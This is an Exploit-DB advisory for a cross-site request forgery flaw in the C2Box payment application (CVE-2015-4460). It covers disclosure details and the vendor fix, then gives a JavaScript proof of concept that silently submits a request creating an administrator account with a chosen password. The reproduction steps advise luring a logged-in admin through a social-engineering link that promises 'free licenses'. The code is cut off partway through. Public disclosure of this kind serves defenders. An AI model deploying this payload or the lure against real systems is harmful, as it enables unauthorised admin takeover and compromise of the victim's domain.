Exploit-DB #37447
Description: C2Box 4.0.0(r19171) - Cross-Site Request Forgery
Type: webapps
Platform: asp
Date: 2015-06-30
Author: Wissam Bashour

Exploit:
Title: Cross-Site Request Forgery (CSRF) Vulnerability in C2Box application  Allows adding an Admin User or reset any user's password.
Author: Wissam Bashour - Help AG Middle East
Vendor: boxautomation(B.A.S)
Product: C2Box 
Version: All versions below 4.0.0(r19171)
Tested Version: Version 4.0.0(r19171) 
Severity: HIGH
CVE Reference: CVE-2015-4460

# About the Product:
B.A.S C2Box provides global solutions enabling full control and visibility over cash positions and managing domestic or cross border payment processes.

# Description: 
This Cross-Site Request Forgery vulnerability enables an anonymous attacker to add an admin account into the application. This leads to compromising the whole domain as the application normally uses privileged domain account to perform administration tasks.
Also the attacker can reset any user's password after gaining the privileged account.

# Vulnerability Class: 
Cross-Site Request Forgery (CSRF) - https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

# How to Reproduce: (POC):
Host the attached code in a webserver. Then send the link to the application Admin. The admin should be logged in when he clicks on the link.
You can entice him to do that by using social engineering techniques.
Say for example: Log into the application and click the following link to get free licenses

# Disclosure: 
Discovered: June 10, 2015
Vendor Notification: June 10, 2015
Advisory Publication: June 27, 2015
Public Disclosure: June 27, 2015

# Solution: 
Upgrade to the latest Build will fix this issue.
The new version number is 15.6.22
Release date: June 22, 2015 
 

# credits: 
Wissam Bashour
Associate Security Analyst
Help AG Middle East


# Proof of Concept Code:
https://raw.githubusercontent.com/Siros96/CSRF/master/PoC
https://www.dropbox.com/s/i45wzl6cqavrzm4/PoC_CSRF_password_reset.mp4?dl=0


#References:
[1] help AG middle East http://www.helpag.com/.
[2] http://www.boxautomation.com/.
[3] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
[4] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.



----- Proof of concept ----

<html>
  <!-- CSRF PoC - Wissam-->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://#thesite/SecuritySetting/UserSecurity/UserManagement.aspx", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]4117095");
        xhr.withCredentials = true;
        var body = "----------------------------[PII_REDACTED][PII_REDACTED]4117095\r\n" + 
          "Content-Disposition: form-data; name=\"__EVENTTARGET\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]4117095\r\n" + 
          "Content-Disposition: form-data; name=\"__EVENTARGUMENT\"\r\n" + 
          "\r\n" + 
          "Content-Disposition: form-data; name=\"__VIEWSTATEENCRYPTED\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]4117095\r\n" + 
          "Content-Disposition: form-data; name=\"__EVENTVALIDATION\"\r\n" + 
          "\r\n" + 
          "V0dFoNB2gzNOMIMLLx+05dEOodRjxb1IxsKxMr+ehPpXQ0dPvYTi/CNzoqOkFt0ZFBapLnziRwgnyQas/THRwIawzpqTC0Kr4vX9u+YW5L0t1xef4donRvhTIZYESWR1oeFn1Rwtox5X3e20bAUS4A==\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]4117095\r\n" + 
          "Content-Disposition: form-data; name=\"ctl00$ContentPlaceHolder1$pnlUser$txtUserName\"\r\n" + 
          "\r\n" + 
          "WISSAM\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]4117095\r\n" + 
          "Content-Disposition: form-data; name=\"ctl00$ContentPlaceHolder1$pnlUser$txtUserName$CVS\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]4117095\r\n" + 
          "Content-Disposition: form-data; name=\"ctl00$ContentPlaceHolder1$pnlUser$txtPassword\"\r\n" + 
          "\r\n" + 
          "wissamwissam\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]4117095\r\n" + 
          "Content-Disposition: form-data; name=\"ctl00$ContentPlaceHolder1$pnlUser$txtPassword$CVS\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]4117095\r\n" + 
          "Content-Disposition: form-data; name=\"ctl00$ContentPlaceHolder1$pnlUser$txtConfirm\"\r\n" + 
          "\r\n" + 
          "wissamwissam\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]4117095\r\n" + 
          "Content-Disposition: form-data; name=\"ctl00$ContentPlaceHolder1$pnlUser$txtConfirm$CVS\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]4117095\r\n" + 
          "Content-Disposition: form-data; name=\"ctl00$ContentPlaceHolder1$pnlUser$txtEmail\"\r\n" + 
          "\r\n" + 
          "wissam@blablabla.com\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]4117095\r\n" + 
          "Content-Disposition: form-data; name=\"ctl00$ContentPlaceHolder1$pnlUser$txtEmail$CVS\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]4117095\r\n" + 
          "Content-Disposition: form-data; name=\"ctl00$ContentPlaceHolder1$pnlUser$btnCreateUser\"\r\n" + 
          "\r\n" + 
          "Create User\r\n" + 
          "----------------------------[PII_REDACTED][PII_REDACTED]4117095\r\n" + 
          "Content-Disposition: form-data; name=\"ct